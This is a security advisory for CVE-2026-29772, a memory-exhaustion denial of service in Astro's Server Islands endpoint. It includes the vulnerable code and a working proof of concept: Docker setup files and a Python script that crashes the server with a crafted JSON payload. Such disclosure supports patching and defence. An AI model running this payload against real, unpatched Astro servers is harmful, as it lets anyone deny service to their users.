GHSA-3rmj-9m5h-8fpv

Source

https://github.com/advisories/GHSA-3rmj-9m5h-8fpv

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-3rmj-9m5h-8fpv/GHSA-3rmj-9m5h-8fpv.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-3rmj-9m5h-8fpv

Aliases

CVE-2026-29772

Published

2026-03-24T19:29:26Z

Modified

2026-03-24T19:46:23.131311Z

Severity

5.9 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator

Summary

Astro: Memory exhaustion DoS due to missing request body size limit in Server Islands

Details

Summary

Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because JSON.parse() allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The /_server-islands/[name] route is registered on all Astro SSR apps regardless of whether any component uses server:defer, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected.

Details

Astro automatically registers a Server Islands route at /_server-islands/[name] on all SSR apps, regardless of whether any component uses server:defer. The POST handler in packages/astro/src/core/server-islands/endpoint.ts buffers the entire request body into memory and parses it as JSON with no size or depth limit:

// packages/astro/src/core/server-islands/endpoint.ts (lines 55-56)
const raw = await request.text();    // full body buffered into memory — no size limit
const data = JSON.parse(raw);        // parsed into V8 object graph — no element count limit

The request body is parsed before the island name is validated, so the attacker does not need to know any valid island name — /_server-islands/anything triggers the vulnerable code path. No authentication is required.

Additionally, JSON.parse() allocates a heap object for every array/object in the input, so a payload consisting of many empty JSON objects (e.g., [{},{},{},...]) achieves ~15x memory amplification (wire bytes to heap bytes). The entire object graph is held as a single live reference until parsing completes, preventing garbage collection. An 8.6 MB request is sufficient to crash a server with a 128 MB heap limit.

PoC

Environment: Astro 5.18.0, @astrojs/node 9.5.4, Node.js 22 with --max-old-space-size=128.

The app does not use server:defer — this is a minimal SSR setup with no server island components. The route is still registered and exploitable.

Setup files:

package.json:

{
  "name": "poc-server-islands-dos",
  "scripts": {
    "build": "astro build",
    "start": "node --max-old-space-size=128 dist/server/entry.mjs"
  },
  "dependencies": {
    "astro": "5.18.0",
    "@astrojs/node": "9.5.4"
  }
}

astro.config.mjs:

import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
});

src/pages/index.astro:

---
---


<html>
<head><title>Astro App</title></head>
<body>
  <h1>Hello</h1>
  <p>Just a plain SSR page. No server islands.</p>
</body>
</html>

Dockerfile:

FROM node:22-slim
WORKDIR /app
COPY package.json .
RUN npm install
COPY . .
RUN npm run build
EXPOSE 4321
CMD ["node", "--max-old-space-size=128", "dist/server/entry.mjs"]

docker-compose.yml:

services:
  astro:
    build: .
    ports:
      - "4321:4321"
    deploy:
      resources:
        limits:
          memory: 256m

Reproduction:

# Build and start
docker compose up -d

# Verify server is running
curl http://localhost:4321/
# => 200 OK

crash.py:

import requests

# Any path under /_server-islands/ works — no valid island name needed
TARGET = "http://localhost:4321/_server-islands/x"

# 3M empty objects: each {} is ~3 bytes JSON but ~56-80 bytes as V8 object
# 8.6 MB on wire → ~180+ MB heap allocation → exceeds 128 MB limit
n = 3_000_000
payload = '[' + ','.join(['{}'] * n) + ']'
print(f"Payload: {len(payload) / (1024*1024):.1f} MB")

try:
    r = requests.post(TARGET, data=payload,
        headers={"Content-Type": "application/json"}, timeout=30)
    print(f"Status: {r.status_code}")
except requests.exceptions.ConnectionError:
    print("Server crashed (OOM killed)")

$ python crash.py
Payload: 8.6 MB
Server crashed (OOM killed)

$ curl http://localhost:4321/
curl: (7) Failed to connect to localhost port 4321: Connection refused

$ docker compose ps
NAME      IMAGE     COMMAND   SERVICE   CREATED   STATUS    PORTS
(empty — container was OOM killed)

The server process is killed and does not recover. Repeated requests in a containerized environment with restart policies cause a persistent crash-restart loop.

Impact

Any Astro SSR app with the Node standalone adapter is affected — the /_server-islands/[name] route is registered by default regardless of whether any component uses server:defer. Unauthenticated attackers can crash the server process with a single crafted HTTP request under 9 MB. In containerized environments with memory limits, repeated requests cause a persistent crash-restart loop, denying service to all users. The attack requires no authentication and no knowledge of valid island names — any value in the [name] parameter works because the body is parsed before the name is validated.

Database specific

{
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-24T19:29:26Z",
    "cwe_ids": [
        "CWE-770"
    ],
    "nvd_published_at": null,
    "severity": "MODERATE"
}

References

Affected packages

npm / @astrojs/node

Package

Name: @astrojs/node; View open source insights on deps.dev
Purl: pkg:npm/%40astrojs/node

Affected ranges

Type: SEMVER
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

10.0.0

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-3rmj-9m5h-8fpv/GHSA-3rmj-9m5h-8fpv.json"